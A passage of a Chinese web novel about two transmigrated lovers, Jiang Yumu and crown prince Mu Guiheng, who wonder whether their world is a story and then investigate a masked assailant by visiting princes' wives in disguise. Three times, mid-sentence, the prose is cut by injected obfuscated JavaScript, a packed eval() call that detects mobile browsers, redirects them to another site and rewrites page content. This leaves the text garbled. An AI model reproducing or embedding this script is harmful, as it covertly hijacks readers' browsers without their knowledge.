嗅着簪身若有似无的木质香味,穆归衡鬼使神差地紧了紧拥着她的双臂,连他自己都未曾发觉。 江御暮没有说话,只侧着脑袋靠在穆归衡肩上,双手轻轻环住他的腰。 他颈边浮着她平稳悠长的呼吸,有些痒,却不舍放开。只得主动移开注意力,悄悄抬手勾起她几缕发丝,在指尖缠绕摩挲。 良久,穆归衡忽然轻声问道:“你一定有许多朋友吧?” 江御暮咂摸出了此话的弦外之音,为吊他胃口,并未直接回答,而是将问题抛了回去:“你问那边,还是这边?” 穆归衡反应了一霎——喔,“那边”指的是她穿越前的世界,“这边”指的则是他们二人此刻共处的世界。 他顿一顿,还是给出了稍显贪心的答案:“两边都问。” 江御暮抬头看他:“不行,只能问一边。” 穆归衡眼神游移片刻,终于还是与她对视:“那就……问这边吧。” 江御暮随即故意答道:“挺多的。” 穆归衡眼神一动,被安慰半晌才有所好转的情绪,倏地又沉了下去。 “哦。”他尽力让自己的声音听起来自然些,“你的其他朋友里……有我认识的人吗?” “不知道。”江御暮又抢回了提问权,“各部尚书的女儿们,你认识吗?” 穆归衡摇摇头,又点点头:“只认识一个江御暮。” 江御暮继续列举:“东街甲巷里开起各家店铺的姐妹婶娘们,你认识吗?” 穆归衡眼中已有笑意:“只认识一个江掌柜。” 江御暮耸耸肩,放出结论:“好吧,看来我的朋友里,没有你认识的人。” “哦。”穆归衡刚才还别别扭扭绷着的嘴角,此时终于微微抬起,“所以……你的朋友,都是女子啊?” 江御暮模仿他方才的句式:“只有一个穆归衡不是。” 穆归衡纠正道:“此言差矣,还有一个燕识风,难道被姑娘忘到九霄云外去了?” 江御暮见他的情绪已然彻底转好,便结束了拥抱,只与他玩笑两句,紧接着把话题往正事上引。 “燕少侠,我能从你这借个朋友吗?” “借朋友?”穆归衡纳罕道,“借谁?” “双瑛布庄的庄主夫人。” “陶瑛姐?”穆归衡仍然不解其意,“你找她何事?” 江御暮正色道:“虽然陛下禁止继续调查刘俭一案,但是咱们总得想想办法,把那蒙面歹人的真实身份调查清楚吧?” 穆归衡深以为然,只是不明白:“难道陶瑛姐能帮咱们查到他的身份?” 江御暮勾勾手示意他附耳过来,对他耳语几句。 穆归衡原本舒展的双眉越蹙越紧,听完她的计划更是直接拒绝:“不行,这样对你太危险了!” 江御暮难得在他面前卸去伪装,露出强势本色,微笑道:“我既主意已定,就不会轻易更改。你若愿意帮我牵线搭桥,还能时时参与我的计划。你若不愿相帮,我也会另想办法。” 8. 如果有机会选择去留 穆归衡终究拗不过江御暮。 次日一早,二人就来到了双瑛布庄,带着旺财一起。 据穆归衡说,在陶瑛面前,它的面子比他大。若有事想求她帮忙,请旺财出马准没错。 然而在不知情的布庄护院们眼中,太子牵着狼犬前来拜访的画面实在恐怖,使人心中警铃大振。 “回禀殿下,今个是夫人查店的日子,最早也得午后才能回来。” 京郊的双瑛布庄住着近两百号人,大多负责织布染布。京内西街另设一家双瑛布店,除售布外,更重要的还是维持人脉关系,多拉客源。 今日不巧,陶瑛正好与江穆二人对向错开,入京去了。 “咱们是去是留?”穆归衡征求江御暮的意见。 “还是进去等等吧。”江御暮斟酌一二后说道,“咱们要是牵着旺财去店里寻她,还不把客人们都吓跑了?” “姑娘言之有理。” 若是影响了她们店里的生意,陶瑛姐肯定要生一阵子气,纵然旺财去了也未必哄得好。 于是二人来至前院正厅等候,小厮们忆起上一次的惨烈教训,这次不敢再给穆归衡奉茶,只端来一大盘水果,配上些瓜子点心。而后与上次一样,各找理由跑远了。 江御暮从果盘里捏起一颗草莓,冷不防陷入深思。 有一个问题困扰了她很多年,奈何没有线索,无从寻找答案。 如今既然结识了同为穿越者,还被绑定了系统的穆归衡,不妨把这个问题同步给他,也许他能从系统口中套出更多信息呢? “姑娘在想什么?”适逢他主动发问,“眉头都皱起来了……” 旺财也眨着圆圆的大眼睛,歪头看着江御暮。 江御暮回过神来,揉揉眉心道:“我只是在想,我们此刻所处的世界,一定是真实存在的另一条世界线吗?有没有可能是一册书,或一部剧本?” 穆归衡思忖须臾,不禁疑道:“姑娘何出此问?” 江御暮把手中草莓举到他面前:“如果我没记错的话,这种红莓在我们的世界线里原是异国特产,被引入中原也就百余年而已。” 放下草莓,又抓起一把瓜子:“还有这个,是葵花籽炒出来的。但这种葵花在明朝才被引入中原,其籽被制成零食就更晚了。” 再举几例后,江御暮接着说道:“此类蔬果之例不胜枚举,可是在这个世界里,它们都是土生土长,自古便有的作物,说不清来源。” 穆归衡若有所思:“也许……这个世界,这个国度,就是物产格外丰富呢?” 江御暮摇摇头:“物产丰富倒还说得过去,可是社会风貌的疑点实在难解。” 穆归衡被勾起了全部好奇心:“此话怎讲?” 江御暮严肃道:“不知你的视角如何,总之在我看来,这个世界对女子的约束规则极为虚浮——关起门来,各家各户都像是被程朱理学腌入了味,动辄灭人欲,惜贞名。然而走出门去,又是一番行商自由,交际无束的天地,颇有武周遗风。” 如此割裂的背景设定,实在不像真实世界,更像网络小说和影视作品的通病。 穆归衡虽不懂何为程朱理学,却也能听出她此言何意,不由被说动了几分。 江御暮紧接着问道:“你那位系统‘高人’可曾为你介绍过,这是一个什么样的世界?” 穆归衡摇头道:“从未提过。他平时寡言少语,只有初次出现那日,多说了几句无关任务的话。” 江御暮竖起耳朵:“具体说了什么?” 穆归衡回忆片刻,没忍住轻笑一声:“他对我父皇骂不绝口,遣词造句委实不雅,我就不对你复述了。” 江御暮幽幽笑道:“它对陛下如此不敬,你就不生气?” 穆归衡轻声一叹:“他的话虽粗俗了些,却也没有讲错。” 语毕,他的脑中又响起系统的声音:“然也。” 江御暮并不深究,只提出:“既然系统没有主动告知,那你可否直接问问它,这个世界到底是真是假,是虚是实?” 穆归衡点头应下,少倾,眼神一动。 江御暮忙问:“它说什么?” “他说——假作真时真亦假。”穆归衡细细品读此语后,不禁赞叹,“着实玄妙。” 江御暮却揶揄道:“它这是直接照搬了顶级名著《红楼梦》的原句,能不玄妙么?后面还有半句呢——无为有处有还无!” 系统被她这么一拆台,旋即出现了少有的情绪波动,不悦道:“此女颇不通人情世故,只知搬唇弄舌!汝今后当少与她来往,方为正途。” 穆归衡没搭理它,剥了几粒葵花籽喂给旺财。 系统自顾自叫骂半晌,却得不到回应,不由觉得没趣,于是停了吵闹,静静休眠去了。 江御暮猜测,大约是系统不愿正面回答这个问题,因而语焉不详,故意搪塞。 穆归衡见她又陷入了沉默,忍不住半询问半叹息道:“若咱们当真活在书中、在戏里,待这出戏散场以后,你我二人又该何去何从呢?” 江御暮凭借从前看小说的经验判断:“一般来说,也就四种可能。” “第一,被强行留在当下所处的虚幻世界。” “第二,被遣送回原本的世界。” “第三,被送到其他的虚幻世界,开启下一世人生,无穷无尽。” “第四,如果足够幸运,也许可以自行选择是去是留。” 穆归衡看着她的眼睛问:“倘若真有机会,你会选择离开还是留下?” 江御暮心中早有答案,却没有直接回答,反过来问他道:“你可还记得,我为什么不愿将自己原本的姓名告诉你?” 穆归衡当然记得:“因为你不喜欢那个名字。” 江御暮点点头:“那个名字,和它所代表的那种生活,我都不喜欢。” “那种……生活?”穆归衡从未听她提起过这一点,“愿意跟我讲讲吗?” 江御暮无声一笑:“其实事情过了这么久,我已经记不得太多细节了。” 当然,还有一部分原因是——她一直在努力忘记那些不愉快的过往,努力活出新的人生。 “最后还能留下的一点印象也只是……因为我坚持要继续读书上学,父母与我断绝了关系。” “他们知道我从小就身体弱,肯定很快就会扛不住。到时只能乖乖回家,听从他们的任何安排,以此求一个苟延残喘的机会。” 说到这里,江御暮忽然哼出一声冷笑,像在嘲讽某些人的希望落空了。 “他们只猜中了一半——我的确没抗住,年纪轻轻就病死了。不过,至少在外面过了几年自由自在的日子。直到死,他们也没用我换来一分钱。就连遗体,我也完完整整地捐给了医学院。” “只可惜……死的时候,我还没拿到毕业证呢。熬了那么多年,真亏得慌。” 旺财似乎感知到了江御暮的情绪,轻爪轻脚地挪动几步,将下巴搭在她腿上,有意安抚般“呜呜”两声。 穆归衡听到此处,也早已满眼痛惜。 他想说点什么安慰她,可不论怎么措辞,都嫌弃自己嘴笨。 他想给她一个朋友间的拥抱,却又怕自己不懂后世风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958045|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俗,举止失了妥当,冒犯到她。 犹豫到最后,他也只是慢慢伸出一只手,轻轻覆在江御暮的手背上,用掌心的温度传递无言的安慰。 “还好,都过去了。”江御暮低着头苦涩一笑,摸摸旺财毛绒绒的脑袋,又满怀希望地抬起头来。 “如今我身体健康,又有家人相伴,从小到大都没受过什么委屈,早已忘记上辈子的生活是何滋味了。” 答案不言自明,如果有选择的机会,她必将无比坚定地留在这里。 哪怕这个世界有可能并不真实,但她的生活、她的理想、她的情感,却都真实存在着,鲜活着。 “你呢?”她问,“会放弃皇储之位,回到武周,继续做那个自由驰骋于天地之间的燕少侠吗?” 如果放在从前——不需要多么久远的“从前”,哪怕只是三五天前,穆归衡也会毫不迟疑,给出肯定的答案。 然而此时此刻,他却觉得双唇似有千钧之重,张不开,也送不出一个轻如鸿毛的“会”字。 为什么?是啊,为什么? 这不过是她与他之间的一句戏言,说说而已,又不会即刻变成真的。 可他心中却有一种说不清道不明的抗拒,或者说,隐隐的恐惧——唯恐话一出口,就成了将来某日无法扭转的谶言。 “说不准,也许不会。” 穆归衡思来想去,也唯有这个答案了。 蹉跎半日,陶瑛至晚方归。 旺财早早听到了她的脚步,便去门外石阶上摇尾等待。 “旺财!”陶瑛一见到它就开心起来,不怕弄脏衣裙,扑上去给了它一个大大的拥抱。 江穆二人相视一笑。 穆归衡耸肩挑眉,眼神意为:我就说吧,陶瑛姐最吃这一套了。 然而这一次,陶瑛听完他们的来意,却没有痛痛快快地答应帮忙。 “以我的身份,想带人混进王府倒是不难。左右每个月织出新布来,都要挑出最好的,送上门去供王妃们挑选。只是……” 陶瑛抬眼看向江御暮,为难一笑。 “去了王府,少不得要低眉顺眼的。被王妃们呼来喝去不说,单是伺候她们选布更衣,就是个劳心劳神的苦差事。江小姐毕竟是尚书大人的千金……” 江御暮连忙说道:“没关系的,这些活计,我也做得来。” 即便得了她的保证,陶瑛也不敢轻易松口。 江御暮见状,决定当场证明给她看看。 “陶瑛姐,您先坐。我来给您揉揉肩,捶捶腿?” 然而她刚把手搭上陶瑛的双肩,就被穆归衡急匆匆拉了回来。 “小姑奶奶你快歇了吧!此举若是让她家林庄主知道了,准得喝一罐闷醋。” 江御暮反驳道:“我一个姑娘家,有什么醋好给他吃的?” 穆归衡不好跟她解释太深,不由语塞。 陶瑛捂嘴偷笑两声,跟江御暮玩笑道:“无妨无妨,咱们不告诉她就是了。” 穆归衡无奈一叹,一垂眸,见旺财还兴冲冲地摇着尾巴,忽地灵机一动。 碍于系统的种种限制,他只得板着脸对陶瑛提议道:“陶夫人若愿意相助,本宫可以将此爱犬留在你府上,待事成以后再来接回。” 陶瑛眼睛一亮,指着他道:“这可是你说的!” 穆归衡无计可奈:“刁妇,注意你在本宫面前回话的言辞。” “哦哦,又忘了。”陶瑛连忙收回手,“民妇的意思是,太子殿下金口玉言,想必不会反悔吧?” 穆归衡一脸冷漠:“君子一言,驷马难追。” 9. 三家都有本难念的经 本朝一共有六位皇子,皇帝爱之重之,全都封了王,后来又将排行第五的穆归衡封为太子。 这几人之中,大皇子未婚出家,六皇子年纪尚小,穆归衡则搬出各种托词,屡屡拒婚。 因而时至如今,只有老二怀王、老三定王、老四安王纳了王妃。 从皇帝前日那番话推断可知,江穆二人要找的那位蒙面歹人,就在这三人之中! 不过,穆归衡提供的一条线索已经排除了怀王的嫌疑—— “二皇兄自小就不爱习武,又难抑口腹之欲。养尊处优多年,身形愈发肥硕。何况他向来无轿不出户,无车不远游,多走两步都嫌累,绝不会是那蒙面歹人。” 嫌疑范围由此缩小,只剩下定、安二王。 “那就去会一会他们的王妃吧。” 江御暮换上麻布衣裙,戴上面纱,扮成陶瑛店里的伙计,随她一同叩访王府,献上本月新制的精品衣料。 当然,即便排除了怀王的嫌疑,也得去他府里走一趟。免得厚此薄彼,得罪了怀王妃。 二人到达怀王府时,已是日上三竿。 “王爷王妃还歇着呢,没起。”大腹便便的管家懒懒说道,“陶掌柜先在门外侯着吧,等时候到了,王妃自会派人来唤你们过去。” “是,有劳阁下通传。”陶瑛温柔笑道。 待管家走回府内,关了门,陶瑛却给江御暮使了个无语的眼色。 “就他们府里臭规矩多。”她轻声道,“换了其他王府,至少还能先进偏院,在屋里坐着等。” 这一耗就是大半个时辰,等二人被唤入府中,已然受了日头几分毒晒。 怀王与王妃刚用过膳,此刻正在水榭中听曲。 外界都道这两人恩爱腻乎得紧,陶瑛也说他们每次选衣料时都会一同前来,选一阵,便咬一阵耳朵,打情骂俏起来更使人难以直视。 江御暮原以为陶瑛这话有些夸张,直到今日亲眼见了她描述的情景,才知她已经口下留情了。 怀王的身量足有穆归衡三倍宽,身高却矮他整整一头,走起路来咚咚直响,靠在亭柱边时,江御暮都怕他一卸力,就把那木柱靠断了。 怀王却无此忧虑,全然沉浸在了鉴赏之乐中。 江御暮放眼望去,只见这府内的大小仆役全都膘肥体壮,王妃也丰腴到了稍显病态的地步。 她不由得想起一句俗话——楚王好细腰,宫中多饿死。 难道这位怀王恰恰与其喜好相反,所以府内诸人才不得不给自己多添几层膘吗? 离开王府以后,她在馄饨摊的露天饭桌上向陶瑛问起这个问题。 “嘘——” 陶瑛左右看看,确认附近无人能听见她们讲话,这才开口回答。 “怀王喜好如何,也不是我这平头百姓能知道的。只是……” “我给怀王府送了七八年衣料,如今这位王妃,已是我见过的第四位了。” “她们四人刚进府时,身量都匀称着呢。可是此后每过一个月再见,她们都会比前一个月臃肿一圈。” “我入府这么多次,就赶上一次怀王不在,王妃——哦,当时还是第三任王妃,就跟换了个人似的,脸上再无往日的强颜欢笑之色,反而忧心忡忡,唉声叹气。” “第二个月我再去,王妃却又装出满脸喜色,与怀王恩爱非常。唉……也是可怜。” 民间传言都道怀王是克妻命,几任王妃都早早病逝。 可她们究竟死于何因,又有几人知晓呢…… 吃完午饭,二人边走边聊,不久就来到了定王府门前。 据说定王妃极爱双瑛布庄的衣料,连带着陶瑛本人也很得她青眼。 府中诸人不敢怠慢,一个接一个传话,将她们请进内院之中。 一见到陶瑛,定王妃就打开了话匣子,关切道:“瑛娘,听说你们布庄出事了?” 陶瑛不知所以地摇摇头:“没有啊,王妃何出此问?” 定王妃轻声一啧:“还想瞒我?我都听下人们说了!太子昨天牵着一条恶犬,直接杀进了你们布庄。诶,他到底想干什么啊?劫财还是劫色?” 陶瑛面上浮起假笑:“这误会可大了,太子殿下只是来买布而已。” 定王妃显然不信:“买布,还带狗?” 陶瑛眼珠一转,正色道:“因为——他买布是为了给狗做几身衣裳。所以特意带上了狗,也好试试颜色。” 定王妃半信半疑:“哦?是这样啊……” 聊着聊着,她眼皮一抬,将目光定在了陶瑛身后,正在整理布料的江御暮脸上。 “这是你新招的伙计?”她问陶瑛,“戴着面纱做什么?” “是新招的,干起活来手脚麻利着呢。”陶瑛道出早就准备好的说辞,“这丫头心实,昨天在日头底下扫院子,把脸晒伤了。恐污了王妃的眼,因而戴着面纱。” 定王妃歪着头打量江御暮,疑道:“既是新伙计,我为何会觉得她那么眼熟呢?” 好像在哪见过……春狩秋狩?还是诗宴酒宴?难不成,这姑娘曾做过哪位官家小姐的近身侍婢? 陶瑛笑笑,回身唤她:“青萝,过来让王妃瞧瞧。” 江御暮走到二人面前,垂首低眉,似有畏怯之意。 定王妃观察片刻,直接伸手摘下了她的面纱。 “哎唷!” 江御暮脸上涂着深深浅浅的胭脂膏子,像是极为严重的晒伤,观之可怖,惊得定王妃直接闭上了眼,迟迟不愿睁开。 “戴上吧戴上吧!”她闭着眼摆摆手,打发江御暮走远些。 等余惊彻底平复,定王妃又觉得自己方才的举动有些刻薄,于是吩咐丫鬟取来医治晒伤的药膏,赏给了“青萝姑娘”。 江御暮谢完恩,十分自觉地退远了。 她看得出来,定王妃真正感兴趣的并不是那些布料,而是能有个陶瑛这样的同龄女子,多陪她聊聊天,说说话。 果不其然,定王妃拉着陶瑛聊了一个多时辰的“京中轶事”,根本没顾得上看她们送来的衣料,但最终还是大手一挥,将它们全部买了下来。 临别之际,她依依不舍地把陶瑛送到内院门口,叹息道:“府里有规矩,我出不得这扇门,一会让管家送你们出去吧。以后若再制出什么新料子,可务必常来、多来给我送啊。” 陶瑛郑重点头:“一定。” 待离开王府,她又忍不住跟江御暮议论起来:“唉,定王妃的日子怕也无趣。自打十七岁进了王府,到如今,除偶尔进宫请安赴宴以外,已有五年没踏出过内院的门了。” 江御暮也是一叹:“上次见她已是六年前的事了,她今日见我竟仍觉眼熟……” 陶瑛好奇:“你们在何处见过?” 江御暮唏嘘道:“每年春秋两狩,都有许多官员得到恩旨,可带儿女同去。定王妃是武将之女,那年秋狩,她靠箭术技惊四座。想来,定王就是在那时对她一见倾心的吧。” 只可惜她一入王府,便要恪守妃妾之德,再无机会于猎场策马弯弓了。 唏嘘过后,江御暮还是问起正事:“对了,你们方才可曾聊过刘俭溺亡一案?” 陶瑛点点头:“我按你交代的,都跟她聊过了。她并未显出什么异样的神情,似乎确实不知刘俭是何许人也。听我说完他‘失足落水’一事,她也只叹几句可怜,接着又聊起了别的话题。” 江御暮思索片刻道:“如此看来,定王的嫌疑可以稍稍减轻。但也不能现在就下断言,还是得走一趟安王府,看看那边是何状况。” 行至安王府已是日暮,安王不在府中,由老管家带着二人前去拜见王妃。 安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958046|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王成婚还不满半年。据陶瑛说,几个月前她第一次入府,安王妃挑选衣料时堪称兴致勃勃,神采飞扬。 可是从第二个月开始,王妃就变得意兴索然,无精打采。有耐心时还能随手一指,买下几匹衣料。换作没耐心时,干脆就闭门不见。 今日不巧,她们正赶上了安王妃心情不佳的时候,一进内院就听见她摔碎什么东西泄愤的声音。 “滚出去!都给我滚出去!” 屋里话音一落,便有几个小丫鬟蔫头耷脑地走出来,却不敢走远,只能守在门边上,静候吩咐。 管家敲敲门,高声通报了陶瑛二人的来意。 安王妃又将一盏瓷壶砸向门板。 “让她们也滚!我谁都不想见!” 管家却仍板着一张脸,冷言冷语道:“王妃若总是如此任性嚣张,老奴可就要将此事告知王爷了。” 闻言,江御暮与陶瑛对视一眼,在彼此的眼神中看到了同样的疑惑——身为管家,竟然敢这样对王妃讲话? 屋里安静了须臾,忽而爆发一阵尖利的笑声。 良久,安王妃打开房门,抱臂迈过门槛,慢悠悠地站定在老管家面前。 “好啊,你去告诉他。” 她的声音很柔,脸上似有笑意。 但那笑意很快又变成了怨毒,紧接着便有一记耳光甩在老管家脸上。 “去啊!连同我给你的这一巴掌,一起告诉王爷啊!有本事,直接告得他休了我啊!” 院内众人皆惊,小丫鬟们受不住吓,纷纷跪倒在地。 老管家回头瞥一眼陶瑛二人,见她们都低着头,似是不敢直视,这才回身对安王妃严肃喝道:“当着外人,王妃可不要丢了咱们王府的脸面!” “脸面?我还有什么脸面?”王妃又是一阵冷笑,“你这老狗有脸,不妨换你来做穆归礼的王妃啊!” 老管家气得脸色发青,拂袖而去,只道:“王妃好自为之,待王爷回来,自有一番道理。” 安王妃不甘示弱,回屋抱起一盘茶碗,瞄准老管家的脑袋就砸,一连砸了七八只才停手。 奈何准头不佳,一只也没砸中,全摔在地上了。 丫鬟们跪地顿首,不敢妄动,江御暮却大着胆子挪动步伐,收拾起满地的碎瓷片来。 江御暮不出声,安王妃也不说话,只居高临下地看着她这番举动。 有个小丫鬟觉得不妥,主动上前来帮忙。 安王妃却出言阻止:“别动,就让她收。” 小丫鬟只得作罢。 不多时,江御暮将所有碎瓷片收入一块绢布,包裹起来。 “回禀王妃,已收拾妥当了。” 安王妃静静看她良久,继而向陶瑛投去一瞥:“你先滚,你这伙计有趣,可以晚点滚。” 陶瑛正在为难,就看到江御暮一手背在身后,给她比了个手势,示意她赶紧离开。 陶瑛见状便不再坚持,躬身道:“是,民妇告退。” 安王妃又将目光移回江御暮脸上,皮笑肉不笑地吩咐:“把这包碎瓷拿进屋来,给我拼好了。” 江御暮低眉顺眼:“是。” 然而当她站在桌边打开布包,真正开始拼那些瓷片时,安王妃却关上门对她冷笑道:“你还真打算拼啊?” 江御暮垂眸颔首:“王妃之命,莫敢不从。” 安王妃走近几步,半坐在桌上,抬头看她:“是吗?” 她将声音放得更轻,倾身向前,使二人的距离被拉得更近:“我这颜面扫地的安王妃,还管得了你堂堂户部尚书家的千金小姐?” 江御暮心中一惊。 她并不认识安王妃,可对方怎么却…… 来不及思索答案,甚至来不及思索应对之策。 安王妃已经伸手勾向了江御暮的面纱…… 10. 听说江小姐是太子党 安王妃的手伸到江御暮面前,忽地停了下来。 “你怎么不躲?”她舒眉一笑,问道,“就这么傻等着,甘心被我揭穿身份?” 江御暮直视她的双眼:“既然王妃心中已经认定了答案,那么臣女躲或不躲,又有什么分别呢?” 安王妃不置可否,轻轻一勾,将她的面纱摘了下来,捏在手中。 “呦,脸上这是怎么了?” 安王妃捏着江御暮的下巴,仔细端详着她刻意画出的“晒伤”。 “胭脂膏子?”她很快就看出门道,由衷赞道,“真有你的。” 江御暮面无表情:“王妃谬赞了。” 安王妃动作一僵,收回手的同时也收起了笑容。沉默半晌,才轻声道:“我有自己的名字,不叫什么狗屁猪腰子王八妃。” 江御暮对她的喜恶已然有所揣测,于是顺着她的话茬试探道:“臣女江御暮,敢问夫人芳名?” “别叫夫人,叫小姐。”安王妃几不可察地弯了弯唇角,“我姓纪,名青元。” 说完顿了顿,又补充道:“其实你方才用不着介绍,我知道你叫什么名字。” 江御暮满眼疑惑,显然对她毫无印象,纪青元见状虽不意外,却难免有些失落。 是啊,她父亲不过是个小吏,在朝堂中根本排不上号。 即便后来卖女求荣,得了个正经官衔,也挤不进朝中重臣的交际圈里。 纪青元未成婚时,每逢佳节出门游玩,时常能遇到各部尚书、侍郎之女。 当然,她们往往结伴同游,而她,只是独自远观而已。 远观她们在仲春的草田里抛球投壶,在盛夏的湖心亭歌酒联诗,在孟秋的原野上策马竞逐,在冬夜的热闹节庆中猜谜画灯。 畅快和乐,教人如何不羡慕? 纪青元的父亲总会鼓励她主动与她们来往,哪怕放低身段,甘做陪衬,只求一个跟班的位置也好。 可她就是不愿。 父亲逼得越急,她的抵触情绪便越重。 以至于后来,纪青元甚至开始自欺欺人,坚信那些高门贵女必是眼高于顶,不屑与她这等小吏之女来往。 直到她某日为了避雨,误打误撞走进枕闲书铺。 在这里一同避雨的,有开茶摊的小姑娘,亦有卖绣品的老婆婆。 而那位身居其中,与她们谈笑风生的书铺掌柜,竟然就是她此前只敢远观的贵女之一,江御暮。 纪青元在铺子里小坐半个时辰,静静听着江御暮教那小姑娘认了几组字。 临走前,她随意抓了几本书买下,回家以后才发现那些书是晦涩难懂的古佛心经,她根本读不下去。 自那日起,纪青元再也没有踏入枕闲书铺,若将原因说出来,连她自己都觉得矫情—— 她身份尴尬,高不足以获得尚书之女的友谊,低不足以博得书铺掌柜的怜惜。 既然如此,又何必自找没趣呢? 阴差阳错做了安王妃以后,纪青元被困于后宅之中,原以为她们此生都不会再有交集。没想到今日却…… “江小姐,你乔装混入安王府,是为了调查刘俭之死吧?”纪青元笑意盈盈,直言不讳。 她喜欢被对方难掩惊讶的眼神注视着。 七八分的惊诧里,总能藏着一二分的敬佩吧? 纪青元也不明白自己为何如此贪恋旁人的敬意,也许是想证明什么,也许根本证明不了什么。 江御暮没想到纪青元继看穿她的伪装后,又看穿了她的来意,一时难以判断对方是敌是友,只得含糊答道:“臣女不懂您此言何意。” 纪青元呵呵一笑。 不懂?她怎么会不懂? 据安王穆归礼所说,刘俭几日前溺死在京郊湖心,尸体被发现时,太子和他的“新宠”江御暮都在现场。而且那个案子,还是江御暮亲自报的官呢 纪青元不给她留出蒙混过关的机会,直接把最难听的实话摆在了台面上。 “皇家手足之情向来淡薄,哪位皇子不想多搞死几个兄弟啊?江小姐既为太子一党,又冒险潜入安王府,若说不是为了找到穆归礼的把柄,实在难以令人信服。” 江御暮很想说一句“纪小姐误会了。” 毕竟她今日这番冒险,原本只是想探查蒙面歹人的真实身份,远远未到搜集其把柄的那一步。 然而纪青元方才这么一捅窗户纸,就已经证实了蒙面歹人便是安王穆归礼。至于他的把柄…… 江御暮隐隐有一种感觉——也许,突破口就在纪青元身上。 于是,江御暮决定拿话激她一激:“既然纪小姐已有定夺,想必臣女再如何狡辩也无济于事,只能静待安王殿下发落了?” 纪青元黛眉微蹙,用右手拇指重重蹭过江御暮的左颊,指腹沾满赤色胭脂膏。 动作行至她唇边,方向却急转直下,以指尖为笔,以红膏为墨,画出一道五分神似的狰狞血痕。 那仿佛是江御暮自己的鲜血,从唇角渗出,一路往下淌去,中途再转一道,横贯脖颈。 “我若把你交给他发落,只怕……你的死相不会比现在漂亮多少,想留全尸都难呐……” 纪青元此举虽然唬人,江御暮却并未感到丝毫恶意。 同时,她也从这段话里听出了端倪——纪青元似乎并不知道穆归礼的武功远逊于她。 看来这二人的关系并不紧密,至少穆归礼对纪青元不够信任,或者说,不够开诚布公。 于是江御暮佯装燃起一丝希望:“听纪小姐此语,便是肯放我一条生路了?” 纪青元闻言,帮江御暮重新戴好面纱。 “我不但会放你一条生路,”说话间,她的眼中藏着兴奋的火种,“我还要送你,也送太子一份大礼。” 紧接着,她又伸手按上江御暮的双肩,笑吟吟道:“当然,你的出现,和你身后的太子这条门路,于我而言,也是一份大礼啊……” 江御暮看着她愈发怪诞的举止,不由在心中暗责自己迟钝,怎么直到此刻才发现—— “纪小姐,您喝醉了?” 纪青元的表情霎时凝固,双臂迟疑着推开她。 “不重要,这不重要!”她重复着摇头的动作。 若不多喝几杯酒,她该怎么熬过这无穷无尽,有天无日的漫漫余生呢? 没关系的,她酒量好,喝不死。 就算喝死了,也算早早解脱,不必可惜什么。 纪青元急切地续上方才的话题:“重要的是,我知道穆归礼最大的把柄!” 说着,她紧紧握住江御暮的手,即便压低了声音,也压不住激动的情绪。 “与之相比,刘俭的死根本无足轻重……” 然而不等江御暮作出任何回应,外面的小丫鬟就敲响了房门,高声通风报信道:“启禀王妃,王爷已经回府了,正往您院里来呢!” 乍闻此言,纪青元的酒意瞬时清醒了几分。 “不能让他看见你,不能… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958047|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …快!快躲起来!” 说着,就把江御暮往屏风后面推。 情急之下,江御暮一手制住她两只手腕,严肃道:“屏风后面如何藏得住人?安王尚未走进此院,我现在从后窗离开还来得及。” 纪青元却死死抓住她的衣袖不放,眼中已有泪意:“可穆归礼他早有灭口之意,我不知自己还能苟活几日!倘若今日一别就是永别,难道要我守着他的秘密遁入十八层地狱吗!?” 此言使江御暮大为意外,不由动摇了几分。 “难道你不想知道他的把柄吗?难道太子不想知道吗?这个秘密,也许能彻底封死穆归礼的争储之路!” 与此同时,门外传来断断续续的说话声。一男一女,一问一答,无疑是穆归礼与小丫鬟。 纪青元的眼神中满是祈求,泪水将落未落,使人实在不忍狠心弃之。 江御暮语速极快:“屏风不行,可有其他藏身之处?” 纪青元眼神一动:“把帷幔放下来,藏在我床上即可!穆归礼他从来不碰我的床!” 江御暮表情一滞,却来不及再作商议,纪青元已然走向门口,去拖延穆归礼进门的时间。 她一走出门,就看见老管家耀武扬威地站在穆归礼身后,望向她的眼神满是不敬,还有几分等着看好戏的意味。 纪青元毫不在意,抱臂往门板上一靠,语气不咸不淡:“王爷来了?真是稀客呀。” 穆归礼向身侧甩出一记眼刀,老管家立刻带着满院仆妇行礼跪安,静悄悄离开了这院子。 “本王是稀客?”他眯起眼,向纪青元靠近一步,“可是本王方才明明听丫鬟们说,爱妃的卧房之中还有一位稀客啊。叫什么——‘青萝’的?据说还跟爱妃你讲了许久的私房话呢……” 纪青元冷笑一声:“你的丫鬟,自然只捡你爱听的话说。若无话可回,便是瞎编也要编得像模像样。今儿一个青萝卜,明儿一个水萝卜,你若爱信就信吧。” 